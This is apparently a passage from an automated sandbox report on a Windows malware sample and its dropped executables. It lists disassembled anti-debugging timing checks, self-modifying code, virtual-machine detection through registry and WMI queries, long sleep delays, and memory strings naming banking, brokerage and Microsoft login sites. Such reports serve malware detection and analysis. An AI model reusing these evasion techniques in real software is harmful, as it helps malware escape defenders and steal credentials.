0x00000048 lea eax, dword ptr [ebp-10h] 0x0000004b mov dword ptr fs:[00000000h], eax 0x00000051 ret 0x00000052 pushad 0x00000053 pushfd 0x00000054 jmp 00007F716557DC83h 0x00000059 add ecx, 03E56A6Eh 0x0000005f jmp 00007F716557DC89h 0x00000064 popfd 0x00000065 call 00007F716557DC80h 0x0000006a mov ebx, esi 0x0000006c pop ecx 0x0000006d popad 0x0000006e mov esi, 00000000h 0x00000073 push eax 0x00000074 push edx 0x00000075 pushad 0x00000076 mov si, bx 0x00000079 movsx edx, cx 0x0000007c popad 0x0000007d rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 54308B9 second address: 54308C7 instructions: 0x00000000 rdtsc 0x00000002 mov cx, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 54308C7 second address: 54308FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F716557DC85h 0x0000000a add eax, 06281406h 0x00000010 jmp 00007F716557DC81h 0x00000015 popfd 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 54308FA second address: 543090A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F716511B49Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 543090A second address: 5430963 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a movzx eax, bx 0x0000000d pushfd 0x0000000e jmp 00007F716557DC89h 0x00000013 xor ax, 36C6h 0x00000018 jmp 00007F716557DC81h 0x0000001d popfd 0x0000001e popad 0x0000001f xchg eax, ebp 0x00000020 pushad 0x00000021 mov dx, cx 0x00000024 mov dl, ch 0x00000026 popad 0x00000027 mov ebp, esp 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F716557DC7Eh 0x00000030 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5430963 second address: 5430975 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F716511B49Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5430975 second address: 54309B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 jmp 00007F716557DC7Ch 0x0000000e mov dword ptr [esp], esi 0x00000011 pushad 0x00000012 mov eax, 475BA60Dh 0x00000017 push eax 0x00000018 push edx 0x00000019 pop eax 0x0000001a pop edi 0x0000001b popad 0x0000001c mov esi, dword ptr [ebp+0Ch] 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F716557DC87h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 54309B4 second address: 5430A37 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F716511B4A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b pushad 0x0000000c pushad 0x0000000d jmp 00007F716511B49Ah 0x00000012 pushfd 0x00000013 jmp 00007F716511B4A2h 0x00000018 adc cx, C418h 0x0000001d jmp 00007F716511B49Bh 0x00000022 popfd 0x00000023 popad 0x00000024 mov di, ax 0x00000027 popad 0x00000028 je 00007F71D6908E45h 0x0000002e jmp 00007F716511B4A2h 0x00000033 cmp dword ptr [76C8459Ch], 05h 0x0000003a pushad 0x0000003b push eax 0x0000003c push edx 0x0000003d call 00007F716511B49Ch 0x00000042 pop ecx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5430A37 second address: 5430A5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 mov eax, 11099743h 0x0000000a mov edx, ecx 0x0000000c popad 0x0000000d popad 0x0000000e je 00007F71D6D836C8h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F716557DC81h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5430BC8 second address: 5430C1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 pop esi 0x00000007 jmp 00007F716511B4A9h 0x0000000c pop ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov ecx, ebx 0x00000012 pushfd 0x00000013 jmp 00007F716511B49Fh 0x00000018 xor eax, 26B2260Eh 0x0000001e jmp 00007F716511B4A9h 0x00000023 popfd 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	RDTSC instruction interceptor: First address: 425A9E second address: 425AA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	RDTSC instruction interceptor: First address: 41EBAC second address: 41EBB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	RDTSC instruction interceptor: First address: 41EBB0 second address: 41EBC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F716557DC83h 0x0000000c jmp 00007F716557DC7Bh 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	RDTSC instruction interceptor: First address: 41EBC9 second address: 41EBD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F716511B496h 0x0000000a jo 00007F716511B496h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	RDTSC instruction interceptor: First address: 41EBD9 second address: 41EBDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	RDTSC instruction interceptor: First address: 424C44 second address: 424C9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F716511B4A5h 0x00000008 jnp 00007F716511B496h 0x0000000e jmp 00007F716511B4A0h 0x00000013 popad 0x00000014 push esi 0x00000015 jmp 00007F716511B49Dh 0x0000001a jmp 00007F716511B4A5h 0x0000001f pop esi 0x00000020 pop edx 0x00000021 pop eax 0x00000022 push ecx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	RDTSC instruction interceptor: First address: 424C9E second address: 424CAE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F716557DC76h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	RDTSC instruction interceptor: First address: 424CAE second address: 424CB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	RDTSC instruction interceptor: First address: 424CB2 second address: 424CB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	RDTSC instruction interceptor: First address: 424DD8 second address: 424DFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jmp 00007F716511B49Dh 0x0000000e jnp 00007F716511B4A2h 0x00000014 jnc 00007F716511B496h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	RDTSC instruction interceptor: First address: 424DFC second address: 424E0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007F716557DC88h 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e pop esi 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	RDTSC instruction interceptor: First address: 428665 second address: 428669 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	RDTSC instruction interceptor: First address: 428758 second address: 4287C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop esi 0x00000008 mov eax, dword ptr [eax] 0x0000000a jmp 00007F716557DC88h 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 jmp 00007F716557DC7Bh 0x00000018 pop eax 0x00000019 push eax 0x0000001a stc 0x0000001b pop ecx 0x0000001c push 00000003h 0x0000001e push 00000000h 0x00000020 push ecx 0x00000021 call 00007F716557DC78h 0x00000026 pop ecx 0x00000027 mov dword ptr [esp+04h], ecx 0x0000002b add dword ptr [esp+04h], 00000018h 0x00000033 inc ecx 0x00000034 push ecx 0x00000035 ret 0x00000036 pop ecx 0x00000037 ret 0x00000038 push 00000000h 0x0000003a cmc 0x0000003b push 00000003h 0x0000003d xor dword ptr [ebp+122D3657h], ecx 0x00000043 push E10E4E93h 0x00000048 pushad 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	RDTSC instruction interceptor: First address: 4287C4 second address: 4287C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	RDTSC instruction interceptor: First address: 4287C8 second address: 4287CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	RDTSC instruction interceptor: First address: 4288D0 second address: 4288DA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	RDTSC instruction interceptor: First address: 4288DA second address: 428901 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F716557DC89h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	RDTSC instruction interceptor: First address: 428AEB second address: 428AF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	RDTSC instruction interceptor: First address: 428AF1 second address: 428AF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	RDTSC instruction interceptor: First address: 428AF5 second address: 428BBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 73C8A43Eh 0x0000000f mov edx, dword ptr [ebp+122D2CCEh] 0x00000015 push 00000003h 0x00000017 mov esi, dword ptr [ebp+122D1E10h] 0x0000001d push 00000000h 0x0000001f jmp 00007F716511B4A8h 0x00000024 push 00000003h 0x00000026 push 00000000h 0x00000028 push esi 0x00000029 call 00007F716511B498h 0x0000002e pop esi 0x0000002f mov dword ptr [esp+04h], esi 0x00000033 add dword ptr [esp+04h], 00000019h 0x0000003b inc esi 0x0000003c push esi 0x0000003d ret 0x0000003e pop esi 0x0000003f ret 0x00000040 mov edi, ecx 0x00000042 mov cx, 7F1Ah 0x00000046 sub esi, 37697B7Fh 0x0000004c push EE62F643h 0x00000051 pushad 0x00000052 pushad 0x00000053 push esi 0x00000054 pop esi 0x00000055 jc 00007F716511B496h 0x0000005b popad 0x0000005c jne 00007F716511B498h 0x00000062 popad 0x00000063 xor dword ptr [esp], 2E62F643h 0x0000006a jmp 00007F716511B4A7h 0x0000006f lea ebx, dword ptr [ebp+1244E59Ch] 0x00000075 mov edi, dword ptr [ebp+122D2CD2h] 0x0000007b push eax 0x0000007c push eax 0x0000007d push edx 0x0000007e pushad 0x0000007f pushad 0x00000080 popad 0x00000081 jmp 00007F716511B4A8h 0x00000086 popad 0x00000087 rdtsc
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	RDTSC instruction interceptor: First address: 428BBD second address: 428BD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F716557DC83h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	RDTSC instruction interceptor: First address: 439FF5 second address: 43A00E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F716511B4A5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	RDTSC instruction interceptor: First address: 43A00E second address: 43A018 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F716557DC7Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	RDTSC instruction interceptor: First address: 43A018 second address: 43A02E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F716511B49Dh 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	RDTSC instruction interceptor: First address: 446C8D second address: 446CA1 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F716557DC78h 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c jnl 00007F716557DC76h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	RDTSC instruction interceptor: First address: 447079 second address: 447098 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F716511B4A5h 0x00000009 jo 00007F716511B496h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	RDTSC instruction interceptor: First address: 447098 second address: 44709C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	RDTSC instruction interceptor: First address: 4475ED second address: 4475FF instructions: 0x00000000 rdtsc 0x00000002 js 00007F716511B498h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pushad 0x00000010 popad 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	RDTSC instruction interceptor: First address: 44772E second address: 447734 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	RDTSC instruction interceptor: First address: 447734 second address: 447752 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F716511B4A7h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	RDTSC instruction interceptor: First address: 447752 second address: 4477AE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F716557DC89h 0x00000011 jmp 00007F716557DC88h 0x00000016 jmp 00007F716557DC86h 0x0000001b popad 0x0000001c jg 00007F716557DC78h 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	RDTSC instruction interceptor: First address: 4478EB second address: 44791E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 jmp 00007F716511B4A8h 0x0000000c pop esi 0x0000000d pushad 0x0000000e jo 00007F716511B498h 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 jp 00007F716511B496h 0x0000001e push edi 0x0000001f pop edi 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	RDTSC instruction interceptor: First address: 447A7D second address: 447ACB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F716557DC7Ah 0x0000000c pushad 0x0000000d popad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 pop edi 0x00000011 jl 00007F716557DCBDh 0x00000017 pushad 0x00000018 jmp 00007F716557DC7Ch 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f jmp 00007F716557DC7Eh 0x00000024 jmp 00007F716557DC7Fh 0x00000029 popad 0x0000002a push eax 0x0000002b push edx 0x0000002c push edx 0x0000002d pop edx 0x0000002e jc 00007F716557DC76h 0x00000034 rdtsc
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	RDTSC instruction interceptor: First address: 447ACB second address: 447AD5 instructions: 0x00000000 rdtsc 0x00000002 je 00007F716511B496h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	RDTSC instruction interceptor: First address: 447DCE second address: 447DE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F716557DC82h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	RDTSC instruction interceptor: First address: 447DE4 second address: 447DE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\w23Vg439U1.exe	Special instruction interceptor: First address: 337CCB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Special instruction interceptor: First address: 2ADCD6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Special instruction interceptor: First address: 44B99F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Special instruction interceptor: First address: 44A8A8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Special instruction interceptor: First address: 47355B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Special instruction interceptor: First address: 4DBFFD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	Special instruction interceptor: First address: 7EFD88 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	Special instruction interceptor: First address: 7EFE2F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	Special instruction interceptor: First address: 9B5762 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	Special instruction interceptor: First address: A14BDE instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Memory allocated: 4BE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Memory allocated: 4E80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Memory allocated: 6E80000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe

Code function: 3_2_004289CE rdtsc

3_2_004289CE

Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\w23Vg439U1.exe TID: 5916	Thread sleep time: -30000s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe TID: 7156	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\w23Vg439U1.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: w23Vg439U1.exe, 00000000.00000003.1530939169.0000000005E05000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696494690p
Source: 3OJIEMQOE0U9W5K609DU0.exe, 3OJIEMQOE0U9W5K609DU0.exe, 00000003.00000002.1874545827.000000000042D000.00000040.00000001.01000000.00000006.sdmp, O4784SI9RJ8L8V71YQA7V.exe, 00000004.00000002.1842895803.000000000096D000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: w23Vg439U1.exe, 00000000.00000003.1530939169.0000000005DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: w23Vg439U1.exe, 00000000.00000003.1530939169.0000000005DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696494690f
Source: w23Vg439U1.exe, 00000000.00000003.1530939169.0000000005DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696494690
Source: w23Vg439U1.exe, 00000000.00000003.1530939169.0000000005DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: w23Vg439U1.exe, 00000000.00000003.1530939169.0000000005DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: w23Vg439U1.exe, 00000000.00000003.1530939169.0000000005DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: w23Vg439U1.exe, 00000000.00000003.1530939169.0000000005DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: w23Vg439U1.exe, 00000000.00000003.1530939169.0000000005DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: w23Vg439U1.exe, 00000000.00000003.1530939169.0000000005DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: w23Vg439U1.exe, 00000000.00000003.1530939169.0000000005DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: w23Vg439U1.exe, 00000000.00000003.1530939169.0000000005DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: w23Vg439U1.exe, 00000000.00000003.1530939169.0000000005DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: w23Vg439U1.exe, w23Vg439U1.exe, 00000000.00000003.1601052092.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1507394489.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1617761397.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1579478212.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1579817826.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, O4784SI9RJ8L8V71YQA7V.exe, 00000004.00000002.1844107193.000000000104A000.00000004.00000020.00020000.00000000.sdmp, O4784SI9RJ8L8V71YQA7V.exe, 00000004.00000002.1844107193.0000000001013000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: w23Vg439U1.exe, 00000000.00000003.1601052092.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1507394489.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1617761397.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1579478212.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1579817826.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBn
Source: w23Vg439U1.exe, 00000000.00000003.1530939169.0000000005DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: w23Vg439U1.exe, 00000000.00000003.1530939169.0000000005DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: w23Vg439U1.exe, 00000000.00000003.1530939169.0000000005DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: w23Vg439U1.exe, 00000000.00000003.1530939169.0000000005DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: w23Vg439U1.exe, 00000000.00000003.1530939169.0000000005DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: w23Vg439U1.exe, 00000000.00000003.1530939169.0000000005DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: w23Vg439U1.exe, 00000000.00000003.1530939169.0000000005DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: O4784SI9RJ8L8V71YQA7V.exe, 00000004.00000002.1844107193.0000000001039000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWv4L4
Source: w23Vg439U1.exe, 00000000.00000003.1530939169.0000000005DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: w23Vg439U1.exe, 00000000.00000003.1530939169.0000000005DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
